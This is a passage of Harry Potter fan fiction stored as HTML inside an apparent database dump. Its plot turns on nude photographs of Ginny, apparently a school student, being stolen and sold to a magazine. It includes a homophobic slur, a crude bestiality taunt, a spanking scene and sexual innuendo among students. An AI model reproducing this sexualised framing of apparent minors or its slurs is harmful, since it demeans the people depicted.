align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">  Harry was thoroughly worn out and drenched to the skin when he and the other members of the Gryffindor Quidditch team came through the portrait hole and into the common room some hours after dusk.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron was playing a game of chess in the corner with Seamus, and Hermione was reading as always before the backdrop of a roaring fire. No one else was around as his team-mates had already retired to the showers.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry sighed and flopped down before the fire, accidentally hitting Hermione\'s book with one hand. She blinked with her mouth open to make a comment and looked up to see him staring into the fire. Her lips closed quickly as she could see something was troubling him.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Harry, are you all right?&quot; Hermione laid a hand on his arm in concern. He flinched, startled out of his reverie.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Nothing much, I just have a bad feeling about this year. It\'s been too quiet for too long and it seems like everywhere I look there are signs of bad things to come.&quot; A log in the fireplace cracked loudly, appearing to confirm his fears. Hermione only sniffed in disgust.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;You\'ve been in Professor Trelawney\'s class for too long. That old crackpot has been filling your head with nonsense for years and it\'s finally started to sink in. You should have dropped Divination ages ago.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Harry crossed his arms and scowled, making Hermione drop her hand to the rough hearthstone. &quot;I\'m not talking about real signs. It\'s just... I have a horrible feeling that Voldemort will chose this year to strike.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione looked toward the ceiling. &quot;You said the same thing last year and the year before that. Honestly, Harry, you need to calm down.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He furrowed his brow and leaned forward almost menacingly. &quot;How can I calm down?&quot; he asked in a deceptively calm voice. &quot;Voldemort is always there, and if he isn\'t, there is something else: Death Eaters, Basilisks, evil professors. I <i>want</i> to calm down.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Yes, he is always a threat, things could go wrong at any time. But you can\'t live your life in fear of retaliation!&quot; Her usually quiet voice was starting to become shrill as more words poured forth; Ron and Seamus had looked up from their game in the corner and watched the exchange silently. &quot;I don\'t care if you want to sit in your room and drink Fire Whiskey every night and fail all of your classes because <i>I\'m</i> not going to put up with it anymore. When you decide to grow up, I\'ll be here. But until then, I\'m not talking to you. I can\'t watch you do this anymore.&quot; Her lip trembled slightly and there was a crack in her voice as she said this last word.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione stood swiftly and grabbed her book, stomping up the stairs as fast as her short legs could carry her. Harry was about to go after her, but decided to let her cool off instead. He raked a shaking hand through his wet hair and closed weary eyes against the fire, which was making them dry up and sting. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> If Harry had looked up at that moment, he would have seen the glint of dark amusement from two eyes hidden in the shadows.</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">   It had been two weeks since the infamous Quidditch match against Slytherin and Ginny was beginning to feel normal again. Hermione and Harry apparently had had a falling out and that left she and Ron to pick up the pieces. One of them was always with Hermione, talking to her between classes or asking for help with assignments. The best way to keep Hermione from withdrawing completely was to make her concentrate on schoolwork. Harry, of course, kept himself company with a bottle of Ogden\'s Fire Whiskey. This did nothing for Hermione&#8217;s nerves of course and lately she had been even worse company than before, petulantly snapping at anything with or without a pulse. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny had been up late the night before, studying for her Potions exam, so she was yawning as she made her way into the Great Hall for breakfast. The effect of her lazy stretches was startling on the entire male population. They all stopped to stare at her, whispering furiously behind hands to their fellows. Ginny didn\'t seem to notice, but plopped down into her seat and grabbed a piece of toast, liberally smearing it with butter and jam.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione was sitting beside her instead of at her usual place between Harry and Ron. <i>She </i>had noticed the furtive glances and giggling, for once not as caught up in her own problems. &quot;Ginny, why is everyone staring at you?&quot; she whispered.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny looked around, dropping her toast when she became aware that she was, indeed, the centre of attention. The entire Hall gave a guilty jerk and went back to eating their breakfasts. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;I-I haven\'t the faintest, Hermione.&quot; Ginny was shaking. It was first year all over again. The whispers, the stares, the look of disappointment from others at their table. What did she <i>do</i>?</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Are you sure?&quot; Hermione prodded.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Yes, I\'m sure. I haven\'t done anything.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Suddenly there was a roar of applause when almost every boy in the Hall stood up and shouted praise as Colin Creevey came running in to breakfast. He gawped about, panic etched clearly into his skin. Everyone laughed and sat back down to enjoy their meal.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny glanced up into his startled eyes as he raced over to her chair and started trying to drag her out of it by force. She slammed down her fork and pushed him away. &quot;Colin! What on earth are you doing?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He didn\'t stop though, but became more insistent as words poured out. &quot;I need to talk to you, it\'s urgent.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny looked back down at her plate while she absently plucked his shaking hand off of her arm. &quot;Whatever it is, you can say in front of Hermione, she can keep a secret.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Colin shook his head. &quot;No, this is something about you, not just me.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Go on, Ginny. Obviously it\'s important.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny gave Hermione a sceptical glance. &quot;Are you sure?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Yes, go ahead, I\'ll be fine. You don&#8216;t need to suffer my infantile temper anymore than you do already.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  This was all the assurance Colin needed and he proceeded to drag Ginny out of the Hall and into a disused classroom. He spared a glance around the room, looking for intruders. His entire body was shaking and for the first time, Ginny was truly worried about him.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Colin?&quot; she placed a hand on his chest. &quot;What\'s the matter?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&quot;What\'s the matter? You wouldn\'t ask that so calmly if you knew what has happened.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;What?&quot; Ginny fairly screamed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Colin took a deep breath and closed his eyes. &quot;Someone stole my portfolio.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny gasped and took a step back. All of the stares she had been getting this morning at breakfast were suddenly making sense and she knew without having to ask. &quot;Why didn\'t you tell me before? D-did they...&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Colin nodded. &quot;It\'s worse than that though, Gin. Whoever stole it sold some of the pictures.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Her eyes widened to the approximate size of large dinner plates. &quot;Sold! Sold to who?&quot; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Wisely, the boy backed up a few paces, ready to physically defend himself against the redhead\'s notorious wrath. &quot;<i>Playwizard</i> magazine.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;<i>Playwizard</i>!&quot; she screeched. &quot;Someone sold your nude studies to <i>Playwizard</i>!&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny paced up and down the room, barely restraining herself from taking her anger out on Colin. Who would do such a thing? &quot;What about the pictures of Padma and Parvati?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Colin shrugged. &quot;I don\'t know. They aren\'t in the magazine though, it\'s just you.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She sneered, &quot;How thoughtful of them.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;I\'m sorry, Gin.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Sorry? You\'re <i>sorry</i>? My life is ruined because I wanted to help you get into art school and you\'re <i>sorry</i>!&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;I didn\'t know! I thought that they would be safe. And your life isn\'t ruined. People will forget about this eventually, Gin. Just give it some time.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Ginny just covered her face in a lattice of trembling fingers. &quot;What will my mum say? And all the boys in school are probably ogling me this very minute.&quot; She straightened up and there was murder in her gaze. Colin skirted back a little further. &quot;I want to know who did this, and then I\'m going to kill them.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Her voice had been quiet, but there was determination and a very dangerous fury, which belied the silence that stretched between the two friends. Colin edged forward and placed a gentle hand on her shoulder. &quot;If it\'ll make you feel better, you can tell everyone <i>my</i> little secret.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny glanced up at Colin, startled. Yeah, she was getting stared at, and later on it would probably progress into catcalls and pinches to her backside. But Colin... he would probably be beaten on a daily basis and called names she couldn\'t bear thinking about. She put an arm about his waist and squeezed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Oh no, Colin. I couldn\'t possibly tell everyone that you\'re gay. They would eat you alive.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Colin\'s lips twisted wryly. &quot;No worse than what they are going to do to you.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;No, it would be <i>much</i> worse. Believe me about that.&quot; Ginny sighed and rested her head on his chest, all her anger at him melting. &quot;Poor Colin.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> He laughed. &quot;Poor Colin? How you can hug me after what I\'ve let happen is beyond my ability to know. You truly are a saint.&quot;</p>\n<p align="JUSTIFY"></p>\n<p> Ginny scoffed and smacked his arm in a playful manner. &quot;I\'m hardly a saint. Come on, we need to get back to the Hall and have some breakfast. Something tells me that this is going to be a <i>long</i> day.&quot;</p>\n\n'),
	(135, 3, '\n\n<p align="JUSTIFY">&#8220;Ginny!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She groaned. Ron was pounding up the stairs to the girl&#8217;s dormitories at a furious pace, bellowing her name as he went along. There was no use in hiding from him, they were brother and sister and eventually would have to see each other again. Stupid arse wouldn&#8217;t even let her bathe in peace.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;m in the <i>bath</i>, Ron.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Stomp, stomp, stomp, <i>slam</i>! Ron stood in the doorway, red-faced and brandishing a magazine, not noticing that she was in a state of undress. Fortunately for her, bubbles were covering the most important parts.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Can I help you?&#8221; Ginny asked acidly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sweet Merlin, cover yourself!&#8221; Ron raced over with a towel and attempted to wrap it around her shoulders.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  She batted it away with one hand. &#8220;Why bother, everyone&#8217;s seen me in less than this already.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> If it were possible, Ron&#8217;s face turned a more violent shade of purple and a vein throbbed on his neck in an interesting manner. He indicated the magazine by a shake of his hand. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Care to explain <i>this</i> to me?&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Not really, but since I know you won&#8217;t let me finish my bath until I do...&#8221; Ginny tossed her head to the side, bubbles half-covering her face. &#8220;Colin needed nude studies to complete his portfolio for art school. So I helped him out. I didn&#8217;t know that someone stole the pictures last week.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That&#8217;s just what he told you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No,&#8221; Ginny disagreed vehemently. &#8220;You don&#8217;t even know him, Colin would never do that to me. Besides, the pictures of Padma and Parvati aren&#8217;t in there.&quot; She pointed at the magazine with a dripping finger. &#8220;So this was done to get me personally.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron&#8217;s eyes widened. &#8220;Padma and Parvati posed for him too? I&#8217;m gonna kill the little poof!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny&#8217;s eyes flashed in anger. &#8220;Don&#8217;t you <i>dare</i> call him that!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Ron was quiet for a moment, breathing deeply of the steamy air through his nose. Something in his expression broke and he started forward. &#8220;Gin, whoever did this is going to pay. If you say that Colin didn&#8217;t do this, then I believe you. But I&#8217;m still going to have a talk with him. I don&#8217;t want to know what you and he are on about, and I don&#8217;t--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;He&#8217;s gay, Ron,&#8221; Ginny cut him off wearily. &#8220;He is nothing but my very best friend.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron&#8217;s eyes grew even larger. &#8220;He&#8217;s <i>gay</i>? But all of those girls that he&#8217;s been with...&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;He says it is pretty common behaviour before someone realises they like people of the same gender. I&#8217;ve done a lot of research and have tried to be there for him the best I could. Don&#8217;t you dare go and open your mouth now.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I won&#8217;t, I promise. But if he didn&#8217;t--&#8221; Ron&#8217;s face flushed an even deeper shade of red. &#8220;Malfoy,&#8221; he ground out.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny rolled her eyes. &#8220;You always go back to him when something goes wrong. How on earth would he know about, much less be able to steal, Colin&#8217;s pictures?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron&#8217;s hands wrung themselves over and over before fisting and dropping to his sides. &#8220;I don&#8217;t know, but I&#8217;m going to find out.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Then by all means, find out if you can. But can I please finish my bath?&#8221; The bubbles were starting to disappear and soon there would be nothing left to cover her naughty bits but the clear water. Ron nodded, deep in contemplation, and closed the door, leaving Ginny to her thoughts.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> The next day, Ginny ventured out into the hallways with her head held high. She had taken extra care with her appearance that morning. Liberally covering her face with Lockhart&#8217;s Fabulous Freckle Fader and applying the small amount of paint charms she used with special precision. It wouldn&#8217;t do for her to look as if all of the gossip was affecting her sleep, which it was. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">All talk stopped as she passed by and it took every ounce of courage and control to keep walking and ignore the stares. It had taken almost five years for her to gain the self-assurance she had now; it would <i>not</i> be ruined because of some stupid photographs.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The Potions classroom was just a little further, if she could just sit down and get lost in her textbook...</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Mmmn, Weasley. <i>Loved</i> the one of you and the Patil girls. Now I&#8217;ll have something to bait my mastiffs into mating with at home.&#8221; The words were spoken softly into her ear and she stopped. The warm breath of the speaker was still moist on her neck. He <i>was</i> the one who stole the photographs! Ron had been right all along, but how had it been done?</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny turned round quickly as Draco was straightening up, grinning with sharp, white teeth. &#8220;You stole Colin&#8217;s pictures!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> This accusation received nothing but a haughty smirk in return. Ginny looked up and realised that her head only reached just above nipple height on the arrogant beast. But her arms were at exactly the right level...</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;At least <i>you</i> won&#8217;t be mating anymore.&#8221; She had the satisfaction of watching the puzzlement shift his features before pulling back her fist to slam into his crotch. The boy crumpled and almost fell on top of her before she regained the good sense to step back. He laid there, holding his goods, face purple. &#8220;You&#8217;ll pay for that, you little <i>bitch</i>.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny had to admire the fact that his words weren&#8217;t squeaky like Ron&#8217;s had been when she&#8217;d done the same thing to him last year, but were instead a breathy hiss. People had gathered in a ring, watching as Draco writhed on the floor in agony. She gave a glance around, thankful that Ron wasn&#8217;t nearby to &#8216;protect&#8217; her from Malfoy&#8217;s wrath. Besides, it wasn&#8217;t as if he was going to be able to move anytime soon. She smiled sweetly down on him and blew a kiss.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It&#8217;s been fun, Malfoy. Remind me to-- ahhh!&#8221; The world tumbled end over end as Draco grabbed her ankle and dragged her onto the floor, the back of her head clunking painfully on the hard, stone floor. His face was pressed close as he whispered almost into her mouth. &#8220;You aren&#8217;t going anywhere, Weasley.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco sat up and flipped her body over his lap, straining to hold the wildly thrashing girl. With a grin, he raised his large, long fingered hand and proceeded to paddle her thoroughly on the bottom like a small child. The fact that he had just been embarrassed was nothing to the ridicule she would garner from this. He soon pushed her off of him and stood up, watching as she rubbed her backside fiercely.  </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Now hurry along, little girl. Maybe next time you&#8217;ll remember that you shouldn&#8217;t try to run with the big boys.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny glared up at him from her position on the floor and watched as he swept out of the dungeons toward wherever he had been going in the first place. The crowds soon dispersed, guffawing and shaking their heads. Not only had she hit her head and been spanked like a two year-old in front of her peers, but now Ginny was late for her Potions exam.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> It had been a long day and Draco sighed wearily as he flopped down onto the green leather sofa in the empty Slytherin common room. The hard-won clarity of the morning had been reduced so far that it took every ounce of control he had not to break into tears. So it stood to reason that he didn&#8217;t want to deal with Pansy tonight when she slithered down the stairs.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh Dray-co! You look so worn out! Let me kiss you all better.&#8221; She sat down on his lap, uninvited, and tried to kiss him on the lips. Draco let a hiss of pain escape and shoved her off onto the floor.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Get off me, woman!&#8221; He rubbed at his crotch slightly and winced.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Poor Dray-co, are you still hurting?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What do you think, you fool?&#8221; he ground out.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She tilted her head to the side, allowing hands to support her weight on the cold stone floor. &#8220;You must be really angry at Potter to have sold those pictures to <i>Playwizard</i>. When that little weasel tells him it was you, he&#8217;ll have your rocks on a stick.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco shoved a hand through his hair, disrupting its usual coiffed perfection. &#8220;You think I don&#8217;t know that?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Then why did you tell that girl?&#8221; she persisted.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I didn&#8217;t tell her outright. I just wanted a good laugh was all.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Pansy narrowed her eyes and took in his form. &#8220;You&#8216;ve been acting odd lately. What happened to you?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Nothing&#8217;s <i>happened</i> to me. I&#8217;ve just been tired is all.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Mmn-hmmn. It isn&#8217;t like you to give away the game before you&#8217;re ready to do so.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco grunted in response and ignored Pansy, staring into the fire. &#8220;You know,&#8221; she murmured, touching a hand to his thigh and slipping it further up. &#8220;I think I know just what you need.&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Not tonight, Pansy. I&#8216;m weary.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You don&#8217;t have to do anything but sit there.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I said not tonight!&#8221; His eyes were blazing with a fire that wasn&#8217;t reflected from the one in front of them. Pansy had never seen him like this before and she leaned back in fear. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You <i>are</i> different, Draco.&#8221; She actually forgot to say his name in an affected way, eyes widening with fear. &#8220;Crabbe and Goyle say that you won&#8217;t let them walk with you anymore and you actually got house points for saving that chit&#8217;s life!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Crabbe and Goyle irritate me even more than you do. And as for the Weasley girl, do you really think I wouldn&#8217;t have been punished if I just pushed her off of my broom?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;W-well...&#8221; she floundered, unable to think of a proper response. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Exactly. Now if you don&#8217;t mind, I was busy before you came in flouting your non-existent charms.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Pansy jumped to her feet, facial flesh quivering with rage. &#8220;I&#8217;m never sleeping with you again, Draco Malfoy. <i>Never</i>!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Next time you make a threat, Pansy <i>darling</i>, take away something other than your over-used little quim. Because frankly, I was starting to lose interest anyway.&#8221;</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> &#8220;I hate you!&#8221; Pansy cried out, tears streaming down her flushed cheeks as she ran up the stairs to the girl&#8216;s dormitories.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ah well, nice to see I still haven&#8217;t lost my touch,&#8221; Draco whispered to himself, absorbed once more by the green flames of the fireplace.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">  &#8220;You punched Malfoy in the rocks? Are you mad?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny sighed, trust Ron to overreact. &#8220;What did you expect me to do after what he said to me?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;You should have come and found me instead of clocking him like that. You were asking for trouble.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Well, I found it apparently. Anyway, it doesn&#8217;t matter, what&#8217;s done is done. And I&#8216;m perfectly capable of defending myself, thank you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Do you realise that you&#8217;ve practically started a war? Malfoy will never leave us alone now. After what Dumbledore said--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Have you already forgotten that he was the one who sold those pictures of me?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Well, no--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;<i>Malfoy</i> is the one who started this, not me.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But Gin--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  &#8220;But Gin, nothing!&#8221; she snapped fiercely. &#8220;I&#8217;m not a little girl anymore, Ron.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You certainly are little! Malfoy is at least three inches taller than me and I&#8217;m six-foot! I don&#8217;t care how well you think you can defend yourself, you are still too small to be running around pounding people in the goods. You&#8217;re lucky that all he did was spank you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It was enough,&#8221; Ginny admitted, ruefully rubbing her bottom. &#8220;He has hands like an iron skillet.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron shook his head. &#8220;I&#8217;m going to go have a talk with Harry, if he&#8217;ll listen. We have to be prepared for what Malfoy might do next, and what <i>I&#8216;m </i>going to do to Malfoy.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It&#8217;ll be easy enough for him to do something with Harry and Hermione fighting like they are.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You can&#8217;t fight with someone if you don&#8217;t acknowledge they exist,&#8221; Ron stated unemotionally.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I think Hermione went over the top. If she really wants to help Harry, she should just talk to him instead of screaming her head off and pretending he&#8216;s not there. She&#8217;s scared of losing him and thinks that this is the best way but it&#8217;s not.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron visibly flinched at her words but hung his head instead of saying anything further on the subject. &#8220;I&#8217;m going to go and talk with Harry.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> As Ron made his way out of the room, Ginny called out. &#8220;See if you can get him to talk to Hermione and I&#8217;ll see what I can do with her.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron stood there, staring blankly at his sister a moment before nodding. &#8220;Yeah, you do that.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;Hermione, you <i>have</i> to talk to Harry. This has been dragging out for far too long.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The girl sniffed and tossed her long, frizzy brown curls over one shoulder. &#8220;I have nothing to say to that disgusting drunkard.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny pursed her lips and studied Hermione for a moment before speaking. &#8220;You know, it isn&#8217;t like you to pick a fight with Harry. Usually it&#8217;s Ron you&#8217;re mad at, this just doesn&#8217;t feel right to me.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No, Ginny,&#8221; Hermione whispered severely, turning to look her directly in the eyes. &#8220;You know what doesn&#8217;t feel right? Harry drowning his problems in a bottle instead of talking it over with Ron or I. Not only that, but when he <i>does</i> finally start talking about what&#8216;s bothering him, he starts in on the same garbage we&#8217;ve hashed and rehashed for <i>years</i>!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Then it doesn&#8217;t take a genius to figure out what&#8217;s been after him lately.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But I can&#8217;t live my life when Harry is always going on about You-Know-Who! It makes me wonder why I even bother studying for my N.E.W.T&#8217;s at all.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;So <i>that&#8217;s</i> what has you so upset. You&#8217;re afraid that Harry&#8217;s right and he won&#8217;t be able to stop You-Know-Who from killing you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Not just me, everyone. I&#8217;m afraid for everyone and I can&#8217;t--I can&#8217;t live this way. The constant fear, looking over my shoulder for You-Know-Who in every corner. Then Ron is always saying something about how doom and gloom Harry is and how he drowns his troubles in a few pints and a few girls down in Hogsmeade almost every weekend. I can&#8217;t bring myself to call him on it, and it isn&#8217;t even really my business what he does in Hogsmeade, but I&#8217;m worried about him. We&#8216;re all falling apart.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hermione, just go and talk things out with Harry. You&#8217;ll feel better. If You-Know-Who really <i>is</i> going to do something soon, then this is certainly not the time to be bickering with your friends.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I guess you&#8217;re philosophy is something like &#8216;make the best of the time you&#8216;ve got&#8217;, eh?&#8221; Hermione queried contritely.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Something like that.&#8221; Ginny made a shooing motion with her hands. &#8220;Now go on up there and talk to Harry and Ron, maybe this can all be worked out before Christmas hols and we can have some fun this year.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione smiled in a 